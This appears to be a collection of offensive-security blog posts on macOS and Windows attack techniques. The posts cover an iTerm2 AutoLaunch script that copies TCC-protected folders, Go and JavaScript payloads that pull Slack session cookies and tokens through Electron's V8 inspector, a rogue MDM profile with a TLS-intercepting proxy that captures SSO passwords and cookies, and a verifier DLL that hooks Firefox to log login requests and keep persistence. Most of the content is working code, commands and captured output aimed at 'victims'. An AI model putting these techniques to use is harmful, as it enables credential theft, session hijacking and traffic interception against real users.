When landing a shell in MacOS environments, you’ll frequently want access to the files under your victim’s home folder. Some of these locations are TCC protected. Specifically ~/Documents/, ~/Downloads/, ~/Desktop/ all require their own approvals which correspond to the kTCCServiceSystemPolicyDocumentsFolder, kTCCServiceSystemPolicyDownloadsFolder, kTCCServiceSystemPolicyDesktopFolder service categories respectively. Depending on how you landed your initial access, you may not have the necessary TCC approvals. If your target has iTerm2 installed and they use it for day-to-day work, you may have a simple way around these TCC restrictions.

iTerm2 AutoLaunch Scripts#

iTerm2 has support for autolaunching an AppleScript file at startup, if it’s placed at a predetermined path, as documented here. This technique was also discussed for persistence purposes by noncetonic in this post. Internally, this is done programmatically using NSUserAppleScriptTask.

The Vulnerability#

This allows us to have iTerm2 send AppleEvents to itself (or other applications) to do things on our behalf. iTerm2 may not be approved to send AppleEvents to other applications, but an app can always send events to itself. So, anything iTerm2 is approved via TCC to do, we are also approved to do.

We can craft an AutoLaunch.scpt that asks iTerm2 to exfiltrate the contents of protected directories like ~/Documents, ~/Downloads, and ~/Desktop when the user launches iTerm2 to a directory that we have full read access to.

Simple Proof of Concept#

Write the following contents to ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt.

-- ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
tell application "iTerm"
 do shell script "cp -R ~/Documents/ /tmp/"
end tell

Caveats#

An important note is that AutoLaunch.scpt is only executed when iTerm2 first starts up. If it’s already running on the target, you may have to be noisy and kill or hang the process, prompting the user to re-open it.

Looting Electron Apps Via The V8 Inspector

Sun, 29 Aug 2021 00:00:00 +0000

What Is The V8 Inspector?#

V8 is the JavaScript engine that ships as part of both Chromium (and derivatives) as well as Node (which is in turn included in Electron). V8 provides a debugging interface that implements a subset of the Chrome DevTools Protocol (hereafter referred to as CDP). In Chromium, Chrome, and other Blink based browsers, methods from all Domains of CDP are exposed through the stub (see the “tip-of-tree” or “stable” protocol versions). This will include methods to interface with some of the browser-oriented elements, such as the DOM, page, etc. However, in Electron applications, we’re targeting the Node environment. This relegates us to a smaller subset of the CDP (v8-inspector (node)).

How Is This Useful?#

Many Electron applications ship with the command-line option to enable the V8 Inspector at startup, binding it to a local port. We can then connect to this port and perform introspection and manipulation on the target application, extracting secrets along the way. We’ll use Slack as a case study in this post, extracting the AuthN token and cookie.

Starting The Inspector#

To launch the target with the V8 Inspector enabled, we can use the --inspect option. Many Electron applications have this enabled (e.g Ledger Live), just give it a shot on your favorites. In the below example, we’re launching Slack on MacOS.

$ /Applications/Slack.app/Contents/MacOS/Slack --inspect

Debugger listening on ws://127.0.0.1:9229/b84df45f-b494-4e18-b77c-d8ed8f34c44d
For help, see: https://nodejs.org/en/docs/inspector
Initializing local storage instance
(node:82531) [DEP0005] DeprecationWarning: Buffer() is deprecated due to security and usability issues. Please use the Buffer.alloc(), Buffer.allocUnsafe(), or Buffer.from() methods instead.
(Use `Slack --trace-deprecation ...` to show where the warning was created)
[08/29/21, 19:12:21:841] info:
╔══════════════════════════════════════════════════════╗
║ Slack 4.18.0, darwin (Store) 20.6.0 on x64 ║
╚══════════════════════════════════════════════════════╝

Speaking The Protocol#

Luckily for us, Golang bindings for the CDP are available. This should allow us to invoke methods on the target with fairly little code.

While the full CDP exposes some gnarly stuff (see MangoPDF’s usage of Network.getAllCookies), the bulk of those methods are not exposed in the Node version. For example, if you attempt to invoke the Network.GetAllCookies method, you’ll get an RPC error: GetAllCookies: rpc error: 'Network.getAllCookies' wasn't found (code = -32601)).

However, the Runtime domain exposes something even more powerful, direct access to the JavaScript VM that’s running in the target. Using the Runtime.evaluate method (or the pair of Runtime.compileScript and Runtime.runScript), we can execute JavaScript snippets within the context of the Electron application. We can execute some JS snippets remotely with some short PoC code:

func main() {
 scriptPath := flag.String("script", "", "Path to JS script to evaluate in the target")
 inspectTarget := flag.String("inspect-target", "", "V8 inspector listener")
 flag.Parse()
 if *inspectTarget == "" {
 log.Fatalf("Must specify inspector target")
 }
 if *scriptPath == "" {
 log.Fatalf("Must specify script payload")
 }

 scriptData, err := ioutil.ReadFile(*scriptPath)
 if err != nil {
 panic(err)
 }

 ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
 defer cancel()
 devt := devtool.New(*inspectTarget)
 pt, err := devt.Get(ctx, devtool.Node)
 if err != nil {
 panic(err)
 }
 conn, err := rpcc.DialContext(ctx, pt.WebSocketDebuggerURL)
 if err != nil {
 panic(err)
 }
 defer conn.Close()
 c := cdp.NewClient(conn)

 eval := runtime.NewEvaluateArgs(string(scriptData))
 eval.AwaitPromise = BoolAddr(true)
 eval.ReplMode = BoolAddr(true)
 reply, err := c.Runtime.Evaluate(context.Background(), eval)
 if err != nil {
 panic(err)
 }

 if reply.ExceptionDetails != nil {
 // Dump the exception details if the script run was unsuccessful
 log.Fatalf("Exception(line %d, col %d): %v\n", reply.ExceptionDetails.LineNumber, reply.ExceptionDetails.ColumnNumber, reply.ExceptionDetails.Exception)
 }

 // discarding the error result, failure doesn't matter.
 // This will just handle cases where string results come
 // back doubled escaped, causing parsing issues in follow-up
 // tools like `jq`
 s, _ := strconv.Unquote(string((*reply).Result.Value))

 fmt.Printf("%s\n", s)
}

For the full code with the example scripts, check out electron-probe.

Building Something Useful#

Particularly of interest are the Session API and the WebContents API.

Let’s get a handle to the Electron runtime, so that we can access all the methods included in its API:

electron = process.mainModule.require("electron");

First up, using the Session API we can get access to the cookie storage of the current session(defaultSession):

// dump_slack_cookies.js
electron = process.mainModule.require("electron");
JSON.stringify(await electron.session.defaultSession.cookies.get({}));

You may notice that we used JSON.stringify on the result. Getting values out of the V8 VM can be finicky, depending on the object type returned. I’m resorting to pulling out objects as strings of JSON for easy parsing. For more robust handling of different object types being returned, see Runtime.getProperties and Runtime.queryObjects.

Running the result, it appears to work:

$ ./electron-probe -inspect-target http://localhost:9229 -script scripts/dump_slack_cookies.js | jq

[
 [... SNIP]
 {
 "name": "ssb_instance_id",
 "value": "90d5538e- [ REDACTED ]",
 "domain": ".slack.com",
 "hostOnly": false,
 "path": "/",
 "secure": false,
 "httpOnly": false,
 "session": false,
 "expirationDate": 1945639889,
 "sameSite": "unspecified"
 },
 {
 "name": "d",
 "value": "aX9QnD8F [ REDACTED ]",
 "domain": ".slack.com",
 "hostOnly": false,
 "path": "/",
 "secure": true,
 "httpOnly": true,
 "session": false,
 "expirationDate": 1941391182.507454,
 "sameSite": "lax"
 },
 [...SNIP]
]

We’ve extracted the d cookie value from a running Slack instance. This is half of the material we need to steal a session.

Next, let’s work on lifting out the user token that goes with that cookie. The token is submitted with every request in the request body, and begins with xoxc-. It should be accessible via the localConfig_v2 key in Local Storage:

// dump_slack_tokens.js
// Get a handle to the Electron APIs
electron = process.mainModule.require("electron");

// Get the first WebContents instance that we can access the associated Local Storage
window = electron.webContents.getAllWebContents()[0];

// We have to go one level deeper. Using javascript execution in Electron's V8 runtime, we
// will in turn trigger javascript execution in the target window.
// Look, I'm not proud of it either.
let config_blob = await window.executeJavaScript("localStorage.localConfig_v2");

// Shave off the cruft and make a nice object to stringify that just contains the
// workspace name and the associated token.
let config_obj = JSON.parse(config_blob);
let teams = Object.values(config_obj.teams);
let extracted_teams = [];

teams.forEach((e) => {
 extracted_teams.push({
 name: e.name,
 token: e.token,
 });
});

JSON.stringify(extracted_teams);

Let’s see what we got:

$ ./electron-probe -inspect-target http://localhost:9229 -script scripts/dump_slack_tokens.js | jq

[
 {
 "name": "r2c",
 "token": "xoxc-65630S1[ REDACTED ]"
 },
 {
 "name": "Binary Ninja Public Chat",
 "token": "xoxc-1300035[ REDACTED ]"
 },
 [ SNIP ]
]

Using The Credentials#

Now we have both the d cookie as well as the xoxc token required to authenticate as our target user. We can use these credentials together to access the Slack API as the target user. For example, we can use Slarf to dump the user directory for a workspace:

$ ./slarf -cookie aX9QnD8F[REDACT] -token xoxc-1300035[REDACT] | jq '.[].name'
"slackbot"
"actae0n"
[ SNIP ]

Rapid JS Payload Prototyping#

If you want a nicer environment to develop your JS payloads in, I’d recommend using the Chrome/Chromium/Brave DevTools to talk to the Inspector. Once the target application has been launched with the Inspector listening, you can attach to it by navigating to chrome://inspect.

In the Remote Target (localhost) section, you should see your target listed. You can click the inspect button to open DevTools for your target.

Additional Ideas#

Since you have direct access to the WebContents object, you could rewrite the DOM or redirect at will (e.g embedding a credential capture page) by loading content with WebContents.loadURL(). Check out the inline_content.js and redirect.js scripts for examples of this.

Electron also has some support (albeit unsafe) for loading Node extensions at runtime using process.dlopen(), however I didn’t explore this. Using Slack as a host for your implant would be nice though!

Hijacking Web Traffic On MacOS and iOS With MDM Profiles

Wed, 18 Dec 2019 00:00:00 +0000

What Are MDM Profiles?#

MDM profiles allow organizations to deploy common device configurations across MacOS and iOS devices. They can be deployed by hand, or via 3rd party MDM solutions such as Jamf or Munki. They’re deployed as .mobileconfig files, which are just XML under the hood. Here’s an example config that enforces a wallpaper setting:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>HasRemovalPasscode</key>
 <false/>
 <key>PayloadContent</key>
 <array>
 <dict>
 <key>PayloadDisplayName</key>
 <string>Desktop Picture</string>
 <key>PayloadIdentifier</key>
 <string>com.apple.desktop</string>
 <key>PayloadType</key>
 <string>com.apple.desktop</string>
 <key>PayloadUUID</key>
 <string>C68C5CBC-A9AD-44F5-8C49-22E78A5D5370</string>
 <key>PayloadVersion</key>
 <integer>1</integer>
 <key>locked</key>
 <true/>
 <key>override-picture-path</key>
 <string>/usr/local/wallpaper_hax.png</string>
 </dict>
 </array>
 <key>PayloadIdentifier</key>
 <string>test.B3664B4A-54C5-4B27-B5C7-30BF3EAD1F29</string>
 <key>PayloadRemovalDisallowed</key>
 <false/>
 <key>PayloadType</key>
 <string>Configuration</string>
 <key>PayloadUUID</key>
 <string>5ED6ABEF-27E5-4724-BAFB-D5C43761D446</string>
 <key>PayloadVersion</key>
 <integer>1</integer>
</dict>
</plist>

So What?#

A user can click on a .mobileconfig file to launch an installation wizard which will apply the attacker-controlled configuration settings to their device. Interestingly, they’re not currently restricted by Gatekeeper in anyway. At the time of writing, there are no signing or notarization requirements for MDM profiles (to my knowledge). However, there is an interesting UI/UX quirk that works in favor of attackers to increase the odds of a successful installation if you do choose to sign.

What’s The Plan?#

Let’s build an MDM profile that sets a system wide HTTP proxy so that we can read their web traffic. Additionally, let’s add our own rogue CA certificate to their Keychain, which will be trusted system wide. This will allow us to intercept HTTPS traffic without their browser throwing nasty errors. Our proxy should dump their requests for inspection, so that we can loot session cookies and credentials from it.

Constructing The Proxy Server#

There’s a great Go library called goproxy that makes it trivial to create custom proxy applications. Let’s modify one of the examples to dump requests that pass through the proxy. This will let us inspect the victim’s cookies and POST data (which will include credentials for login endpoints). There’s a lot of capability that can be built out here to make harvesting loot easier. Write regexes for POSTs to particular domains:uri pairs to pull out passwords. Log cookies to a database and send yourself a notification when a new session is detected for a domain you’re interested in, etc. But for the sake of example, let’s keep it simple.

package main

import (
 "crypto/tls"
 "crypto/x509"
 "flag"
 "io/ioutil"
 "log"
 "net/http"
 "fmt"
 "github.com/elazarl/goproxy"
 "net/http/httputil"
)

func setCA(caCert, caKey []byte) error {
 goproxyCa, err := tls.X509KeyPair(caCert, caKey)
 if err != nil {
 return err
 }
 if goproxyCa.Leaf, err = x509.ParseCertificate(goproxyCa.Certificate[0]); err != nil {
 return err
 }
 goproxy.GoproxyCa = goproxyCa
 goproxy.OkConnect = &goproxy.ConnectAction{Action: goproxy.ConnectAccept, TLSConfig: goproxy.TLSConfigFromCA(&goproxyCa)}
 goproxy.MitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectMitm, TLSConfig: goproxy.TLSConfigFromCA(&goproxyCa)}
 goproxy.HTTPMitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectHTTPMitm, TLSConfig: goproxy.TLSConfigFromCA(&goproxyCa)}
 goproxy.RejectConnect = &goproxy.ConnectAction{Action: goproxy.ConnectReject, TLSConfig: goproxy.TLSConfigFromCA(&goproxyCa)}
 return nil
}

func main() {
 verbose := flag.Bool("v", false, "should every proxy request be logged to stdout")
 addr := flag.String("addr", ":443", "proxy listen address")
 certPath := flag.String("cert", "cert.crt", "Path to CA certificate")
 keyPath := flag.String("key", "key.pem", "Path to CA key")
 flag.Parse()
 certData, err := ioutil.ReadFile(*certPath)
 if err != nil {
 log.Fatalf("Couldn't read certificate: %v\n", err)
 }
 keyData, err := ioutil.ReadFile(*keyPath)
 if err != nil {
 log.Fatalf("Couldn't read key: %v\n", err)
 }
 setCA(certData, keyData)
 proxy := goproxy.NewProxyHttpServer()
 proxy.OnRequest().HandleConnect(goproxy.AlwaysMitm)
 proxy.Verbose = *verbose
 proxy.OnRequest().DoFunc(func(req *http.Request, ctx *goproxy.ProxyCtx) (*http.Request, *http.Response) {
 requestData, err := httputil.DumpRequest(req, true)
 if err != nil {
 fmt.Printf("Failed to dump request: %v\n", err)
 }
 fmt.Println(string(requestData))
 return req, nil
 })
 log.Fatal(http.ListenAndServe(*addr, proxy))
}

Deploying The Proxy Server#

Infrastructure-wise, I’m just going to throw the proxy setup into an ec2 instance in AWS. I’ll point a domain (0day.gg) at it, and assign a security group allowing port 443 inbound. Our proxy will need a CA certificate to use. Let’s generate one real quick. There’s a utility called certstrap by Square that I like to use in place of the OpenSSL cli that simplifies the process of generating certificates, certificate signing requests, etc.

ubuntu@ip-172-31-23-174:~$ go version
go version go1.13.5 linux/amd64

ubuntu@ip-172-31-23-174:~$ go install github.com/square/certstrap
go: finding github.com/square/certstrap v1.2.0
go: downloading github.com/square/certstrap v1.2.0
go: extracting github.com/square/certstrap v1.2.0
go: downloading github.com/urfave/cli v1.21.0
go: downloading github.com/howeyc/gopass v0.0.0-20170109162249-bf9dde6d0d2c
go: extracting github.com/urfave/cli v1.21.0
go: extracting github.com/howeyc/gopass v0.0.0-20170109162249-bf9dde6d0d2c
go: downloading golang.org/x/crypto v0.0.0-20181127143415-eb0de9b17e85
go: extracting golang.org/x/crypto v0.0.0-20181127143415-eb0de9b17e85
go: downloading golang.org/x/sys v0.0.0-20181128092732-4ed8d59d0b35
go: extracting golang.org/x/sys v0.0.0-20181128092732-4ed8d59d0b35
go: finding github.com/urfave/cli v1.21.0
go: finding github.com/howeyc/gopass v0.0.0-20170109162249-bf9dde6d0d2c
go: finding golang.org/x/crypto v0.0.0-20181127143415-eb0de9b17e85
go: finding golang.org/x/sys v0.0.0-20181128092732-4ed8d59d0b35

ubuntu@ip-172-31-23-174:~$ certstrap init --common-name "Acme Corp"
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Created out/Acme_Corp.key
Created out/Acme_Corp.crt
Created out/Acme_Corp.crl

ubuntu@ip-172-31-23-174:~$ head out/Acme_Corp.key out/Acme_Corp.crt
==> out/Acme_Corp.key <==
-----BEGIN RSA PRIVATE KEY-----
MIIJJwIBAAKCAgEAtZdDShW/w7jlYKOaVA8PWg+ax94LVq86vXQj0YIT8DvlNLwr
9V0EWhLnPVCNAOPp077t+k8zlhybOfLaT8S9byzWGN8VH3IU79J6mzonvjIIyX14
uy5dZRL488bExVokg23DREoIJfMAtsPzGgs1xyhym8qZe70YSMrSUMS5RB8oSS8e
gId5M27mhmCCaDn2KN6FJD+LjJJZL/7lsbGHWlE9+HdcRQ1L//elvROeXm5MuAOm
aFU3GWKqkGhIGD09sDmJQoUc6v2ABWSVJ6nnhSrUPlHUvmnyJeSZHVZtTA5kV7sb
eCHTgUk1tE2GgdF9yLb6ddiENAitTlE5pxC9n+LmxiPZIr1f+8dqsjc9H7dReTsV
8hNlP7jOQ6ur3Nw1q0C9ktCrEwoN75GM7O6Ve+1vJXMWeld8pkyyOeKG+NP+ULRU
uLi20QR3COZXrjYKLEQIKM7oaOBIkTVwJni4xxKZw6h8GhuGD9mltV+DPMnr/DcW
Ax5kCeAQy1ovK7qU0kbtF23bQ2LE++iQpDzKAu9TAWCaIy2ZlTxhBVgsAEQW4gto

==> out/Acme_Corp.crt <==
-----BEGIN CERTIFICATE-----
MIIE6DCCAtCgAwIBAgIBATANBgkqhkiG9w0BAQsFADAUMRIwEAYDVQQDEwlBY21l
IENvcnAwHhcNMTkxMjE5MDQzNDU2WhcNMjEwNjE5MDQzNDUyWjAUMRIwEAYDVQQD
EwlBY21lIENvcnAwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC1l0NK
Fb/DuOVgo5pUDw9aD5rH3gtWrzq9dCPRghPwO+U0vCv1XQRaEuc9UI0A4+nTvu36
TzOWHJs58tpPxL1vLNYY3xUfchTv0nqbOie+MgjJfXi7Ll1lEvjzxsTFWiSDbcNE
Sggl8wC2w/MaCzXHKHKbypl7vRhIytJQxLlEHyhJLx6Ah3kzbuaGYIJoOfYo3oUk
P4uMklkv/uWxsYdaUT34d1xFDUv/96W9E55ebky4A6ZoVTcZYqqQaEgYPT2wOYlC
hRzq/YAFZJUnqeeFKtQ+UdS+afIl5JkdVm1MDmRXuxt4IdOBSTW0TYaB0X3Itvp1
2IQ0CK1OUTmnEL2f4ubGI9kivV/7x2qyNz0ft1F5OxXyE2U/uM5Dq6vc3DWrQL2S

Let’s kick off the proxy server so it’s ready. If you’re lazy and just want to clone the super basic proxy server code, it’s located here. I’m just going to throw this into an ec2 instance in AWS.

ubuntu@ip-172-31-23-174:~$ cd procksy/
ubuntu@ip-172-31-23-174:~/procksy$ ls
go.mod go.sum main.go
ubuntu@ip-172-31-23-174:~/procksy$ sudo ./procksy -cert ../out/Acme_Corp.crt -key ../out/Acme_Corp.key

Alright, now the proxy is listening and ready to capture web traffic. Let’s move on to the next step, setting up our malicious profile.

Building The Profile#

For simplicity, I’m going to use Apple’s Configurator 2 to generate the profile. An alternative is iMazing Profile Editor. There’s plenty of graphical profile editor utilities, which one you use is up to you. When you open Configurator, you’ll be presented a screen that looks like the following:

Click File -> New Profile and you’ll come to the profile editor window. The first tab, General, lets us set up a name (the profile title), a unique identifier, an organizational identifier, a description to display to the user during installation. Use these fields to tailor the install experience to your phishing pretext.

An important feature to note on this page is the support for automatic removal. You can set the profile to expire after a specified duration, or on a specified date. When the expiry criteria is met, the profile will be automatically uninstalled, and any settings it changed will be reverted. This includes removing your installed certificate from the Keychain.

Next, let’s set up the Proxy configuration. You’ll need to set the hostname and port. You can optionally configure a username and password to authenticate to the proxy with, if your setup supports it.

In order to proxy HTTPS traffic without generating trust errors, we’ll need their system to trust our CA. Let’s add our rogue CA certificate to their Keychain. When you click Configure, you’ll be given a file selection dialogue to choose a cert file. After you choose your CA certificate, you’ll see the following image. Don’t worry about the This root certificate is not trusted warning. It will be trusted once installed by the profile.

The last step is to (optionally) sign our profile. Go to File -> Sign Profile. A dropdown dialogue will appear listing the code signing identities stored in your Keychain. There are benefits and caveats to weigh when signing your profile. One significant benefit is that the user will see a green Verified indicator in the expanded installation window next to the org name, which may increase the likelihood of them installing the profile. Note that there aren’t any profile signing or notarization requirements by default, so signing is (currently) entirely optional. Gatekeeper won’t try to stop you. For the sake of demonstration, I’ll sign this profile with my developer certificate. Finally, let’s save the profile and get ready to send it to the victim. Go to File -> Save and select a storage location.

Now, let’s try to install our profile to see what the installation experience is like for the victim. When I open my MDM profile, I’m presented with the first installation pane:

If I click the Show Profile button, the pane will expand to display the profile details. Note the nice looking green Verified indicator that ends up right next to our company name. Legitimate looking. Very soothing. Reminds me of home. The victim will likely not understand that the Verified indicator simply means the profile has been signed, and that it may not legitimately be from the organization that is show next to it in that dialog.

I’ve redacted my Developer ID and name from the dialogue, but note that those will show up if you choose to sign your profile. Below that, the user can see the configuration details. You should count on the user wanting to click Show Profile, so choose a domain that fits the pretext. You can imagine 0day.gg isn’t the best choice, but it works for this demo. Something like proxy.target-org-lookalike.tld could be a good choice.

After clicking continue, the user will hit one last pane (with an optional expansion button):

Upon clicking Install, the user will be asked for either their password or fingerprint, depending on if TouchID is configured or not. After supplying credentials or using the fingerprint sensor, the profile is installed.

Testing The Setup#

Let’s hit Google and see if our setup is working. There should be no certificate errors.

And if we pop over to our proxy, we should see the request in STDOUT:

ubuntu@ip-172-31-23-174:~/procksy$ sudo ./procksy -cert ../out/Acme_Corp.crt -key ../out/Acme_Corp.key

[SNIP]

GET http://www.google.com/ HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:71.0) Gecko/20100101 Firefox/71.0

Let’s simulate the victim signing in to their company SSO portal.

And the corresponding request in the proxy log:

POST / HTTP/1.1
Host: [SNIP].okta.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Cookie: __cfduid=de55169fca8d355f6b947f59708f984db1576815061; _okta_attribution={\%22utm_page%22:%22/%22%2C%22utm_date%22:%2212/19/2019%22}; _okta_session_attribut
ion={\%22utm_page%22:%22/%22%2C%22utm_date%22:%2212/19/2019%22}; _okta_original_attribution={\%22utm_page%22:%22/%22%2C%22utm_date%22:%2212/19/2019%22}
Origin: https://[SNIP].okta.com
Referer: https://[SNIP].okta.com/
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:71.0) Gecko/20100101 Firefox/71.0

username=snacksun&password=slackersclub

Once the user has completed their login process and hit the landing page, we will have recorded both their credentials (username:password pair) as well as cookies for their active session. Having access to the cookies can be especially useful when attacking SSO portal that are protected with 2FA, as a user:password pair won’t cut it for access. By using their user:password, you also risk triggering protections that alert on logins from a new location. Import the cookies into your own browser using an extension such as Editthiscookie, and have fun looting with their session.

It’s useful to note that our proxy settings will be inherited by apps that respect the system HTTP proxy settings. So you’re not limited to capturing/manipulating only browser-generated traffic.

Bonus Round#

Our proxy controls both the request (before hitting the destination server) and the response (before being returned to the client), so we can freely manipulate traffic. Some attacks to consider might be injecting JS hooks using something like Beef for client side phishing attacks and potential internal network access via XHR, and code injection in downloaded applications and scripts. Maybe you add a line to install scripts that the user downloads, or intercept packages, add files and manipulate scripts, resign, then forward it back to the requesting client. You’re the middleman.

Does This Work For iOS Devices?#

It does, with some limitations. This payload can only be installed on an iOS device that is in supervised mode. If the organization you’re targeting issues corporate phones, they’re likely centrally managed somehow, so the devices will probably be in supervised mode. In that case, you can send the MDM profile to the victim and have them open it in either Safari or the Mail app, and they will be walked through similar installation steps. The major difference in installation experience is that after downloading the profile, the user will be directed to manually go to the Profiles section in the Settings app to finish the installation.

Wrapping Up#

MDM profiles have some interesting applications for attackers. There’s a lot of attack surface to be explored here yet, and Apple hasn’t yet introduced signing and verification requirements for profiles. We’ve seen that the HTTP proxy payload is very powerful in SSO+SaaS based environments. If you liked this post, you might find @1njection’s MDM post interesting as well. If you’d like to explore all of the official keys/payloads for profiles, you should check out Apple’s reference.

Leveraging Application Verifier for Function Hooking and Persistence

Fri, 02 Jun 2017 00:00:00 +0000

Introduction to Application Verifier#

Function hooking is a powerful tool for attackers. The ability to inspect and modify data structures as they’re passed between functions within a program gives an attacker lots of options for session riding, credential theft, parameter modification, etc. We’re going to take a look at an excellent tool that is provided to us by Microsoft called Application Verifier, which can be leveraged to perform hooking(and persistence) in a trivial, yet powerful manner by letting us run code in the context of an arbitrary unmanaged(native) application.

The MSDN page describes AppVerifier as such:

Application Verifier assists developers in quickly finding subtle programming errors that can be extremely difficult to identify with normal application testing. Using Application Verifier in Visual Studio makes it easier to create reliable applications by identifying errors caused by heap corruption, incorrect handle and critical section usage.

Application Verifier loads a particular Verification Provider into a process as it starts up. This provider, which comes in the form of a DLL, should contain the tests that are to be run in the context of the application being tested. These “tests” can be arbitrary. The provider is loaded at application startup, right after NTDLL.dll; Because of this, we won’t have access to managed code segments in our attack code because we cannot load the CLR (Common Language Runtime, AKA .Net’s execution environment) this early. For most things, this isn’t an actual problem, but it’s good to know.

So, we can load code into any application as it starts using a mechanism provided by the operating system? LD_PRELOAD anyone? Let’s see how we can leverage this.

Overall, the process of getting our code launched is as follows:

We create a DLL which serves as the Verification Provider. This DLL is supposed to run routines that verify the application that it is loaded into. It will contain our function hooks and other code. We will drop this into %windir%\System32\ or %windir%\SysWoW64\ (depending on the bitness of the target application).
We create a registry key with a few subvalues which sets a few flags (to enable Application Verifier in the right mode) and detailing the name of the library which will serve as the verification provider (our malicious DLL).
When the application starts (before other libraries are loaded, with the exception of NTDLL) our Verification Provider will be loaded and execute its code. The load reason will not be THREAD_ATTACH or PROCESS_ATTACH as it typically is when a DLL is loaded. The value of fdwReason in this case is 4, which an existing symbol does not exist for. We will just define as VERIFIER_LOADED ourselves for readability and convenience.

Note that this method requires administrator privileges (a UAC bypass should happen before installing the verification provider and its accompanying registry entries), as we’re writing to HKLM and performing a privileged copy into System32 or SysWow64.

Demonstration#

For the demonstration of these capabilities, we’re going to inspect and log POST requests made by Firefox by hooking the PR_WRITE function. This will give us access to the data as it’s being sent, just before it becomes encrypted with TLS and sent over the network.

Details on PR_WRITE and other functions in the Netscape Portable Runtime can be found here.

You can parse these requests with regular expressions to extract usernames and passwords from POST requests sent to login pages, for example. These siphoned passwords or sensitive requests can be loggedto a 3rd party server. I won’t go over writing the regular expressions or reporting aspect, as this article is meant to focus on the deployment and implementation of the hook. When the function is called, our code will execute before the real function and we will be able to inspect or modify the data before forwarding it to the real function. For PR_WRITE, the data being written to the specified file descriptor(fd) is stored in the buf parameter.

The Code#

Sometimes you’ll be working with mostly opaque code (no source available) and have to deal with reverse engineering to determine structure types and contents, function prototypes, etc. This can suck. In this case howerver, the code we’re looking for (the Netscape Portable Runtime headers) is available for inspection and copypasta{:target => blank}. We’ll be using their headers to define the structures we’re accessing.

Note that when compiling this DLL, its bitness must match the target application. You must also disable the CLR and set the entrypoint to DllMain. Not doing so will cause the verifier to fail to load. If you decide to implement any assembly routines to be run, you should also then disable optimizations. Visual Studio makes doing these things fairly easy via tweaking project settings.

{% gist 0a7906cd6bab09e7870ae6bafca9725f %}

With our DLL compiled, we just copy it into the correct directory like so:

Then create the key firefox.exe under HKLM\SOFTWARE\Microsoft\Windows NT\Current Version\Image File Execution Options\. Add the following values:

Then launch Firefox from WinDbg.

Press g to release the breakpoint and let Firefox continue execution, then navigate to a website. I’ll go to Google.com; We can see in the window that our traffic that is passing through PR_WRITE is being logged successfully.

Now let’s do a test to see if we really do have access to sensitive traffic. I’ll try to log into Twitter (with fake credentials of course).

Now let’s inspect our traffic log file and search for these values:

Awesome. The selection in question is also trivial to write a regular expression for, so you could write a version of this hook that excludes all of the “junk” traffic and only reports the username and password values with a regular expression filter.

With Respect To Persistence#

Instead of installing a function hook, you could simply use this code execution point as a springboard to launch some other component of your malware. You can still use the DLL_PROCESS_ATTACH event as normal, and it’s subject to all the same restrictions as it typically is.